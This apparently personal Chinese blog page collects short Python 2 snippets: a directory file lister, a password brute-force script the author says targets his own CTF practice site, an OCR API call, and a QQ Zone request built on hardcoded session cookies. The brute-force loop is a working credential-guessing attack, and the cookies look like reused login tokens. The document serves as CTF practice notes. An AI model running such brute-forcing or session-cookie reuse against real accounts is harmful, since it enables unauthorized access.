1.使用Python获取目录下的文件名 # -*- coding: utf-8 -*- import os path = "C:\" def file_name(file_dir): L = [] for root, dirs, files in os.walk(file_dir): for file in files: if os.path.splitext(file)[1] == '.jpg': L.append(o
1.使用Python获取目录下的文件名
# -*- coding: utf-8 -*-import os
path = "C:\"
def file_name(file_dir):
L = []
for root, dirs, files in os.walk(file_dir):
for file in files:
if os.path.splitext(file)[1] == '.jpg':
L.append(os.path.join(root, file))
return L
for i in range(0,len(file_name(path))):
print i
# 其中os.path.splitext()函数将路径拆分为文件名+扩展名
自建网站GJCTF的登陆爆破脚本(目前网站域名已到期)
import requestsimport re
s = requests.session()
html = s.get('http://*******************/GJCTF/brute.php')
pattern = ':.*?\<html\>'
ss = re.search(pattern, html.text)
session = ss.group()[1:-6]
#print session
for i in range(10000,99999):
payload = {'password': str(i), 'check': session}
#print payload
html = s.get(url='http://192.168.113.133/dashboard/brute.php', params=payload)
##pattern = 'GJCTF'
##if not re.match(pattern,html.text):
## pass
##else:
print html.text#!/usr/bin/env python
#encoding=utf-8
import re
import sys,os
import requests
def GetAuthorization():
html = requests.post(url="http://****************/1/index.php")
html = html.text
info = html.split("\n")
return info[1].replace("\n","")
Authorization = str(GetAuthorization().replace("\n","").replace("\r",""))
def createRequest(filepath):
global Authorization
headers = {
'host':'recognition.image.myqcloud.com',
'Authorization':Authorization
}
files = {
'appid':(None,'1255565244'),
'image':('1.jpg',open(filepath,'rb'),'image/jpeg')
}
r = requests.post("http://recognition.image.myqcloud.com/ocr/general", files=files,headers=headers)
responseinfo = r.content
data = responseinfo.decode('utf-8')
# print data
r_index = r'itemstring":"(.*?)"'
result = re.findall(r_index, data)
for i in result:
print(i)
def main():
createRequest(sys.argv[1])
if __name__ == '__main__':
main()
使用python访问QQ空间
import requestsurl = "https://user.qzone.qq.com/qq号"
cookies = {
'pt2gguin':'123123123',
'pgv_pvid':'123123123',
'euin_cookie':'123123123',
'ptcz':'123123123',
'pgv_pvi':'123123123',
'uin_cookie':'123123123123',
'sensorsdata2015jssdkcross':'%7B%22distinct_id%22%3A%2216726ed34b7440-0cec33a1717865-e573978-1049088-16726ed34b8219%22%2C%22%24device_id%22%3A%2216726ed34b7440-0cec33a1717865-e573978-1049088-16726ed34b8219%22%2C%22props%22%3A%7B%7D%7D',
'RK':'v/C5zGqgMP',
'ptui_loginuin':'123123123',
'eas_sid':'123123123', 'pgv_si':'123123123',
'_qpsvr_localtk':'0.5164183391109584',
'ptisp':'cm',
'uin':'o1152193204',
'skey':'@uWwV41EXu',
'qz_screen':'1366x768',
'cpu_performance_v8':'19',
'Loading':'Yes',
'randomSeed':'165308',
'QZ_FE_WEBP_SUPPORT':'0',
'welcomeflash':'12345711_5077',
'p_uin':'o1152193204',
'pt4_token':'123432*TKCpFIJf2uZKfkFTSHBVlMyUHNNzqk_',
'p_skey':'21353151346346-n7cOzPMK2yCTOIGTceQ_',
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko/20100101 Firefox/61.0",
"Accepted-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
}
s = requests.session()
html = s.get(url=url,header = headers,cookie=cookies)
print html.text